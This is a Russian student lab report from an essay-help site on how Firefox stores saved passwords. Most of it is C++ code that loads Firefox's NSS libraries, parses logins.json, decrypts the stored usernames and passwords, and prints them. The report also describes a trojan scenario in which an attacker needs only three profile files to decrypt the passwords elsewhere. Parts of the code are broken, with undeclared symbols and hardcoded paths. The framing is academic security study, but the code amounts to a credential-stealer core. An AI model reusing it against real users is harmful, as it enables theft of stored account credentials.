Помощь в написании студенческих работ
Антистрессовый сервис

Исследование механизмов хранения паролей Web-браузера Firefox

Лабораторная работаПомощь в написанииУзнать стоимостьмоей работы

WEB-браузеры сегодня используются для доступа к интернет ресурсам для просмотра страниц, видео, управления / администрирование неких ресурсов. Естественно чем больше персональных интернет страниц посещает человек, тем сложнее управлять паролями к данным ресурсам. Браузеры, за последние 3 года, ввели функциональность запоминания и шифрования паролей которые ввели пользователи на сайтах… Читать ещё >

Исследование механизмов хранения паролей Web-браузера Firefox (реферат, курсовая, диплом, контрольная)

Отчет

по лабораторной работе

Исследование механизмов хранения паролей Web-браузера Firefox

1. Теоретические сведения

WEB-браузеры сегодня используются для доступа к интернет ресурсам для просмотра страниц, видео, управления / администрирование неких ресурсов. Естественно чем больше персональных интернет страниц посещает человек, тем сложнее управлять паролями к данным ресурсам. Браузеры, за последние 3 года, ввели функциональность запоминания и шифрования паролей которые ввели пользователи на сайтах. Естественно есть огромное количество решений по зашифрованию паролей, но в моей задаче использовалось шифрование PKCS#11. Но нам не надо вникать в суть шифрования / расшифровки или управления ключами, т.к. есть библиотеки в которых реализована данная функция, нам только остается правильно их вызвать.

Имена используемых библиотек:

freebl3.dll

gkmedias.dll

mozglue.dll

mozjs.dll

msvcp100.dll

msvcr100.dll

nss3.dll

nssckbi.dll

nssdbm3.dll

softokn3.dll

2. Формулировка задания

Изучение механизмов хранения паролей современных web-браузеров.

3. Результаты работы

В процессе выполнения данной курсовой работы мною было изучены и реализованы следующие действия

1. Объявление и вызов функций из сторонних библиотек.

2. Считывание списка посещенных интернет ресурсов.

3. Получение зашифрованных данных и их расшифровка.

Как я уже отметил, я использовал стандартные функции из библиотек

freebl3.dll

gkmedias.dll

mozglue.dll

mozjs.dll

msvcp100.dll

msvcr100.dll

nss3.dll

nssckbi.dll

nssdbm3.dll

softokn3.dll

Причем только явным образом я объявлял вызов функций из nss3. dll

и mozglue. dll, остальные используются автоматически, неявным вызовом. Загружаем данные модули.

HMODULE mozglue = LoadLibrary (L «C:\Program Files (x86)\Mozilla Firefox\mozglue.dll»);

HMODULE nss3 = LoadLibrary (L «C:\Program Files (x86)\Mozilla Firefox\nss3.dll»);

Обьявляем тип функций.

typedef SECStatus (__cdecl *NSS_InitFunc) (const char *configdir);

typedef SECStatus (__cdecl *NSS_ShutdownFunc) (void);

typedef PK11SlotInfo *(__cdecl *PK11_GetInternalKeySlotFunc) (void);

typedef void (__cdecl *PK11_FreeSlotFunc) (PK11SlotInfo *slot);

typedef SECStatus (__cdecl *PK11_AuthenticateFunc) (PK11SlotInfo *slot, PRBool loadCerts, void *wincx);

typedef SECStatus (__cdecl *PK11SDR_DecryptFunc) (SECItem *data, SECItem *result, void *cx);

typedef SECStatus (__cdecl *PK11_CheckUserPasswordFunc) (PK11SlotInfo *slot, const char *pw);

typedef char *(__cdecl *PL_Base64DecodeFunc) (const char *src, PRUint32 srclen, char *dest);

typedef void (__cdecl *SECITEM_ZfreeItemFunc) (SECItem *zap, PRBool freeit);

typedef void (*SECITEM_AllocItem) (SECItem & item, int len);

NSS_InitFunc NSSInit = NULL;

NSS_ShutdownFunc NSSShutdown = NULL;

PK11_GetInternalKeySlotFunc PK11GetInternalKeySlot = NULL;

PK11_CheckUserPasswordFunc PK11CheckUserPassword = NULL;

PK11_FreeSlotFunc PK11FreeSlot = NULL;

PK11_AuthenticateFunc PK11Authenticate = NULL;

PL_Base64DecodeFunc PL_Base64Decode = NULL;

PK11SDR_DecryptFunc PK11SDRDecrypt = NULL;

SECITEM_ZfreeItemFunc SECITEM_ZfreeItem = NULL;

Функции объявлены теперь нам надо найти файл в котором хранятся данные интернет страниц — логин, зашифрованный пароль, адрес страницы. Согласни документации Firefox, эти данные хранятся в несколькох файлах, но все они находятся по адресу % appdata%/Roaming/Mozilla/Profile/__имя_профиля_рандом.default/.

Имя профиля случайное числобуквенное сочетание длинной в 8 байт. В нем я нашел 2 файла в котором есть требуемая мне информация — logins. json и signons.sqlite. В первом файле информация хранится в текстовом виде например

{"nextId": 3, «logins»: [{"id": 1, «hostname»: «https://mail.ru», «httpRealm»: null, «formSubmitURL»: «https://auth.mail.ru», «usernameField»: «Login», «passwordField»: «Password», «encryptedUsername»: «MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECOn8LsIAZGYfBAjkMXIeyeHVBw==», «encryptedPassword»: «MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECHEez+JhoL3oBAimi8QGV8S1sA==», «guid»: «{fb59f7db-a682−4a4b-b5f4-f140ba4f2e1b}», «encType»: 1, «timeCreated»: 1 417 461 961 022, «timeLastUsed»: 1 417 461 961 022, «timePasswordChanged»: 1 417 461 961 022, «timesUsed»: 1}, {"id": 2, «hostname»: «https://www.facebook.com

А во 2-ом файле она находится в сжатом бинарном виде. Для работы мне более удобен текстовый файл logins.json. Ниже идущий код я использую для обработки данного файла.

интернет браузер пароль

std:string sFirefoxPath = «C:\Users\Vahagn\AppData\Roaming\Mozilla\Firefox\Profiles\k7z1336z.default»;

std:string sJsonDB = sFirefoxPath + «logins.json»; // путь до файла

std:string sTempline = ««;

std:ifstream ifJson;

ifJson.open (sJsonDB.c_str (), std: ios:in); // открываем его

if (ifJson.is_open ())

{

if (getline (ifJson, sTempline))

{

int ii = sTempline. length ();

for (int i = 0; i < sTempline. length (); i++)

{

std:string sURL = ««; // переменная для URL

std:string sEncryptedUser = ««; // переменная для имя пользователя

std:string sEncryptedPass = ««; // переменная для зашифрованного пароля пользователя

int iFind = sTempline. find («hostname»); // URL

if (iFind > -1)

{

sTempline = sTempline. substr (iFind, sTempline. size ());

sURL = sTempline. substr (11);

iFind = sURL. find («» «);

sURL = sURL. substr (0, iFind);

sTempline = sTempline. substr (sURL.size (), sTempline. size ());

}

iFind = sTempline. find («encryptedUsername»);

if (iFind > -1)

{

sTempline = sTempline. substr (iFind, sTempline. size ());

sEncryptedUser = sTempline. substr (20);

iFind = sEncryptedUser. find («» «);

sEncryptedUser = sEncryptedUser. substr (0, iFind);

sTempline = sTempline. substr (sEncryptedUser.size (), sTempline. size ());

}

iFind = sTempline. find («encryptedPassword»);

if (iFind > -1)

{

sTempline = sTempline. substr (iFind, sTempline. size ());

sEncryptedPass = sTempline. substr (20);

iFind = sEncryptedPass. find («» «);

sEncryptedPass = sEncryptedPass. substr (0, iFind);

sTempline = sTempline. substr (sEncryptedPass.size (), sTempline. size ());

}

if (sURL.size () > 0 && sEncryptedUser. size () > 0 && sEncryptedPass. size () > 0)

{

std:string sUserPlain = DecodeFireFox (sEncryptedUser.c_str (), sProfilePath. c_str (), sFirefoxPath); // расшифровываем имя

std:cout << «URL:» << sURL << std: endl;

std:cout << «Username:» << sUserPlain << std: endl;

std:string sPassPlain = DecodeFireFox (sEncryptedPass.c_str (), sProfilePath. c_str (), sFirefoxPath); // расшифровываем пароль

std:cout << «Password:» << sPassPlain << std: endl;

}

}

}

Когда мы из файла получаем попарно зашифрованные имя и пароль, нам надо их расшифровать, для этого существует функция DecodeFireFox.

iNSS_Shutdown (); // обнуляем переменные

init_status = NSSInit («C:\Users\Vahagn\AppData\Roaming\Mozilla\Firefox\Profiles\k7z1336z.default»); // пробуем инициализировать API из библиотек

if (init_status == SECSuccess) // если инициализация прошла успешно

{

int cred_len = strlen (encryptedstring); // берем длину зашифрованного текста

int pnDestLen = maxlenght;

unsigned char decoded_cred[2048];

PK11SlotInfo *slot = PK11GetInternalKeySlot (); // получаем ключи из контейнера

if (! PL_Base64Decode (encryptedstring, cred_len, (char*) decoded_cred)) // дешифруем base64

{

return FALSE;

}

if (! slot)

{

return FALSE;

}

if (PK11Authenticate (slot, TRUE, NULL) == SECSuccess) // если контейнер инициализирован

{

SECItem data, result;

result.data = NULL;

result.len = 50;

data.data = decoded_cred;

data.len = decoded_size (encryptedstring);

SECStatus s = PK11SDRDecrypt (&data, &result, NULL); // расшифровка

if (s == SECSuccess)

{

decodedstuff = (char*) result. data; // расшифрованный логин или пароль

result.data = NULL;

}

}

PK11FreeSlot (slot); // закрываем контейнер

}

}

iNSS_Shutdown (); // закрываем API

FreeLibrary (nss3); // удаляем из памяти библиотеку

FreeLibrary (mozglue); // удаляем из памяти библиотеку Пример рабочей программы Данная программа работала на хостовой масшине где была установлена Mozilla Firefox. Давайте теперь представим что на рабочий ПК проникла троянская программа. Выясним какие файлы ему нужно получить чтобы владелец троянского коня смог расшифровать пароли из базы данных FF. Для этого возьмем виртуальную машину где будет установлен windows 7 без установленного FF. Скопируем на эту виртуальную машину нашу программу. Как я выше уже отмечал программа состоит не только из c. exe, но и из библиотек.

Создаем путь % AppData%/Roaming/Mozilla/Firefox/Profiles/имапрофиля/.

И копируем туда 3 файла которые нужны для расшифровки — cert8. db key3.db logins.json. Запускаем программу и видим что наша программа вновь расшифровала пароли. Следовательно, для того чтобы атакующий смог получить данные от FF, ему понадобится всего лишь 3 вышеуказанных файла.

Полный рабочий код приведен в Приложении.

Приложение

#include «stdafx.h»

#include

#include

#include

#include

#include

#include

#include

#include

#include

#pragma comment (lib, «shlwapi.lib»)

#pragma comment (lib, «crypt32.lib»)

#pragma comment (lib, «Shell32.lib»)

using namespace std;

#define NOMINMAX

#define PRBool int

#define PRUint32 unsigned int

#define PR_TRUE 1

#define PR_FALSE 0

#define SQLITE_OK 0

#define SQLITE_ROW 100

#define SQLITE_API

typedef enum SECItemType {

siBuffer = 0,

siClearDataBuffer = 1,

siCipherDataBuffer,

siDERCertBuffer,

siEncodedCertBuffer,

siDERNameBuffer,

siEncodedNameBuffer,

siAsciiNameString,

siAsciiString,

siDEROID,

siUnsignedInteger,

siUTCTime,

siGeneralizedTime

};

std:string DecodeFireFox (const char * encryptedstring, const char * ffprofiledir, std: string firefoxpath); //v28

size_t decoded_size (const char *encoded_data);

int ii=0;

void ab (int i);

struct SECItem {

SECItemType type;

unsigned char *data;

size_t len;

};

typedef enum SECStatus {

SECWouldBlock = -2,

SECFailure = -1,

SECSuccess = 0

};

std:string getInstallPath (VOID) {

LSTATUS lStatus;

DWORD cbSize;

char value [MAX_PATH];

std:string path = «SOFTWARE\Mozilla\Mozilla Firefox»;

cbSize = MAX_PATH;

if (! SHGetValue (HKEY_LOCAL_MACHINE, (LPCWSTR) «SOFTWARE\Mozilla\Mozilla Firefox», (LPCWSTR) «CurrentVersion», 0, value, &cbSize)) {

path += ««;

path += value;

path += «\Main»;

cbSize = MAX_PATH;

lStatus = SHGetValue (HKEY_LOCAL_MACHINE, (LPCWSTR) path. c_str (), (LPCWSTR) «Install Directory», 0, value, &cbSize);

}

return value;

}

BOOL LoadLib (std:string installPath)

{

// ab ();

// setup path

char path[4096];

DWORD dwError = GetEnvironmentVariable ((LPCWSTR) «PATH», (LPWSTR) path, 4096);

std:string newPath = path;

newPath += («; «+ installPath);

SetEnvironmentVariable ((LPCWSTR) «PATH», (LPCWSTR) newPath. c_str ());

HMODULE hNSS = LoadLibrary (L «nss3.dll»);

DWORD error = GetLastError ();

if (hNSS) {

NSSInit = (NSS_Init) GetProcAddress (hNSS, «NSS_Init»);

NSSShutdown = (NSS_Shutdown) GetProcAddress (hNSS, «NSS_Shutdown»);

PK11GetInternalKeySlot = (PK11_GetInternalKeySlot) GetProcAddress (hNSS, «PK11_GetInternalKeySlot»);

PK11FreeSlot = (PK11_FreeSlot) GetProcAddress (hNSS, «PK11_FreeSlot»);

PK11Authenticate = (PK11_Authenticate) GetProcAddress (hNSS, «PK11_Authenticate»);

PK11SDRDecrypt = (PK11SDR_Decrypt) GetProcAddress (hNSS, «PK11SDR_Decrypt»);

PK11CheckUserPassword = (PK11_CheckUserPassword) GetProcAddress (hNSS, «PK11_CheckUserPassword»);

isqlite3_open = (function) GetProcAddress (hNSS, «sqlite3_open»);

isqlite3_prepare_v2 = (function2) GetProcAddress (hNSS, «sqlite3_prepare_v2»);

isqlite3_step = (function3) GetProcAddress (hNSS, «sqlite3_step»);

isqlite3_column_text = (function4) GetProcAddress (hNSS, «sqlite3_column_text»);

ifNSS_Init = (function6) GetProcAddress (hNSS, «NSS_Init»);

iNSS_Shutdown = (function7) GetProcAddress (hNSS, «NSS_Shutdown»);

}

return! (! NSSInit ||! NSSShutdown ||! PK11GetInternalKeySlot ||! PK11Authenticate ||! PK11SDRDecrypt ||! PK11FreeSlot ||! PK11CheckUserPassword);

}

VOID EnumProfiles (VOID)

{

char path [MAX_PATH];

char appData [MAX_PATH], profile [MAX_PATH];

char sections[4096];

SHGetFolderPath (NULL, CSIDL_APPDATA, NULL, SHGFP_TYPE_CURRENT, (LPWSTR) appData);

GetPrivateProfileSectionNames ((LPWSTR) sections, 4096, L «C:\Users\Vahagn\AppData\Roaming\Mozilla\Firefox\profiles.ini»);

char *p = sections;

ii=1;

ab (1);

ii=2;

ab (2);

}

void ab (int ii)

{

std:string sProfilePath = «C:\Users\Vahagn\AppData\Roaming\Mozilla\Firefox\Profiles»;

std:string sFirefoxPath = «C:\Users\Vahagn\AppData\Roaming\Mozilla\Firefox\Profiles\k7z1336z.default»;

std:string sJsonDB = sFirefoxPath + «logins.json»;

std:string sTempline = ««;

std:ifstream ifJson;

ifJson.open (sJsonDB.c_str (), std: ios:in);

if (ifJson.is_open ())

{

if (getline (ifJson, sTempline))

{

int ii = sTempline. length ();

for (int i = 0; i < sTempline. length (); i++)

{

std:string sURL = ««;

std:string sEncryptedUser = ««;

std:string sEncryptedPass = ««;

int iFind = sTempline. find («hostname»); // URL

if (iFind > -1)

{

sTempline = sTempline. substr (iFind, sTempline. size ());

sURL = sTempline. substr (11);

iFind = sURL. find («» «);

sURL = sURL. substr (0, iFind);

sTempline = sTempline. substr (sURL.size (), sTempline. size ());

}

iFind = sTempline. find («encryptedUsername»);

if (iFind > -1)

{

sTempline = sTempline. substr (iFind, sTempline. size ());

sEncryptedUser = sTempline. substr (20);

iFind = sEncryptedUser. find («» «);

sEncryptedUser = sEncryptedUser. substr (0, iFind);

sTempline = sTempline. substr (sEncryptedUser.size (), sTempline. size ());

}

iFind = sTempline. find («encryptedPassword»);

if (iFind > -1)

{

sTempline = sTempline. substr (iFind, sTempline. size ());

sEncryptedPass = sTempline. substr (20);

iFind = sEncryptedPass. find («» «);

sEncryptedPass = sEncryptedPass. substr (0, iFind);

sTempline = sTempline. substr (sEncryptedPass.size (), sTempline. size ());

}

if (sURL.size () > 0 && sEncryptedUser. size () > 0 && sEncryptedPass. size () > 0)

{

std:string sUserPlain = DecodeFireFox (sEncryptedUser.c_str (), sProfilePath. c_str (), sFirefoxPath);

std:cout << «URL:» << sURL << std: endl;

std:cout << «Username:» << sUserPlain << std: endl;

std:string sPassPlain = DecodeFireFox (sEncryptedPass.c_str (), sProfilePath. c_str (), sFirefoxPath);

std:cout << «Password:» << sPassPlain << std: endl;

}

}

}

}

}

SECStatus init_status;

std:string DecodeFireFox (const char * encryptedstring, const char * ffprofiledir, std: string firefoxpath) //v28

{

int maxlenght = 2048;

std:string decodedstuff = ««;

HMODULE mozglue = LoadLibrary (L «C:\Program Files (x86)\Mozilla Firefox\mozglue.dll»);

HMODULE nss3 = LoadLibrary (L «C:\Program Files (x86)\Mozilla Firefox\nss3.dll»);

typedef SECStatus (__cdecl *NSS_InitFunc) (const char *configdir);

typedef SECStatus (__cdecl *NSS_ShutdownFunc) (void);

typedef PK11SlotInfo *(__cdecl *PK11_GetInternalKeySlotFunc) (void);

typedef void (__cdecl *PK11_FreeSlotFunc) (PK11SlotInfo *slot);

typedef SECStatus (__cdecl *PK11_AuthenticateFunc) (PK11SlotInfo *slot, PRBool loadCerts, void *wincx);

typedef SECStatus (__cdecl *PK11SDR_DecryptFunc) (SECItem *data, SECItem *result, void *cx);

typedef SECStatus (__cdecl *PK11_CheckUserPasswordFunc) (PK11SlotInfo *slot, const char *pw);

typedef char *(__cdecl *PL_Base64DecodeFunc) (const char *src, PRUint32 srclen, char *dest);

typedef void (__cdecl *SECITEM_ZfreeItemFunc) (SECItem *zap, PRBool freeit);

typedef void (*SECITEM_AllocItem) (SECItem & item, int len);

NSS_InitFunc NSSInit = NULL;

NSS_ShutdownFunc NSSShutdown = NULL;

PK11_GetInternalKeySlotFunc PK11GetInternalKeySlot = NULL;

PK11_CheckUserPasswordFunc PK11CheckUserPassword = NULL;

PK11_FreeSlotFunc PK11FreeSlot = NULL;

PK11_AuthenticateFunc PK11Authenticate = NULL;

PL_Base64DecodeFunc PL_Base64Decode = NULL;

PK11SDR_DecryptFunc PK11SDRDecrypt = NULL;

SECITEM_ZfreeItemFunc SECITEM_ZfreeItem = NULL;

if (mozglue && nss3)

{

//Funktionen aus DLL laden

NSSInit = (NSS_Init) GetProcAddress (nss3, «NSS_Init»);

NSSShutdown = (NSS_Shutdown) GetProcAddress (nss3, «NSS_Shutdown»);

PK11GetInternalKeySlot = (PK11_GetInternalKeySlot) GetProcAddress (nss3, «PK11_GetInternalKeySlot»);

PK11FreeSlot = (PK11_FreeSlot) GetProcAddress (nss3, «PK11_FreeSlot»);

PK11Authenticate = (PK11_Authenticate) GetProcAddress (nss3, «PK11_Authenticate»);

PK11SDRDecrypt = (PK11SDR_Decrypt) GetProcAddress (nss3, «PK11SDR_Decrypt»);

isqlite3_open = (function) GetProcAddress (nss3, «sqlite3_open»);

isqlite3_prepare_v2 = (function2) GetProcAddress (nss3, «sqlite3_prepare_v2»);

isqlite3_step = (function3) GetProcAddress (nss3, «sqlite3_step»);

isqlite3_column_text = (function4) GetProcAddress (nss3, «sqlite3_column_text»);

ifNSS_Init = (function6) GetProcAddress (nss3, «NSS_Init»);

iNSS_Shutdown = (function7) GetProcAddress (nss3, «NSS_Shutdown»);

PL_Base64Decode = (PL_Base64DecodeFunc) GetProcAddress (nss3, «PL_Base64Decode»);

{

// if (init_status≠ SECSuccess)

iNSS_Shutdown ();

init_status = NSSInit («C:\Users\Vahagn\AppData\Roaming\Mozilla\Firefox\Profiles\k7z1336z.default»);

if (init_status == SECSuccess)

{

int cred_len = strlen (encryptedstring);

int pnDestLen = maxlenght;

unsigned char decoded_cred[2048];

//if (ii≠1)

PK11SlotInfo *slot = PK11GetInternalKeySlot ();

if (! PL_Base64Decode (encryptedstring, cred_len, (char*) decoded_cred))

{

return FALSE;

}

if (! slot)

{

return FALSE;

}

if (PK11Authenticate (slot, TRUE, NULL) == SECSuccess)

{

SECItem data, result;

result.data = NULL;

result.len = 50;

data.data = decoded_cred;

data.len = decoded_size (encryptedstring);

SECStatus s = PK11SDRDecrypt (&data, &result, NULL);

if (s == SECSuccess)

{

decodedstuff = (char*) result. data;

result.data = NULL;

}

}

PK11FreeSlot (slot);

}

}

iNSS_Shutdown ();

FreeLibrary (nss3);

FreeLibrary (mozglue);

}

return decodedstuff;

}

size_t decoded_size (const char *encoded_data)

{

size_t str_len, size;

str_len = strlen (encoded_data);

size = str_len/4 * 3;

if (encoded_data [str_len — 1] == '=')

{

if (encoded_data [str_len — 2] == '=')

size -= 2;

else

size -= 1;

}

return size;

}

int main (void) {

printf («nYour Firefox Passwords: n»);

std:string installPath = «C:\Users\Vahagn\AppData\Roaming\Mozilla\Firefox\Profiles\k7z1336z.default»;

if (! installPath. empty ())

{

if (LoadLib (installPath))

{

EnumProfiles ();

}

else {

printf («n Unable to initialize required libraries.»);

}

}

else {

printf («n Firefox doesn’t appear to be installed on this machine.»);

}

printf («n Press any key to continue…»);

fgetc (stdin);

return 0;

}

Показать весь текст
Заполнить форму текущей работой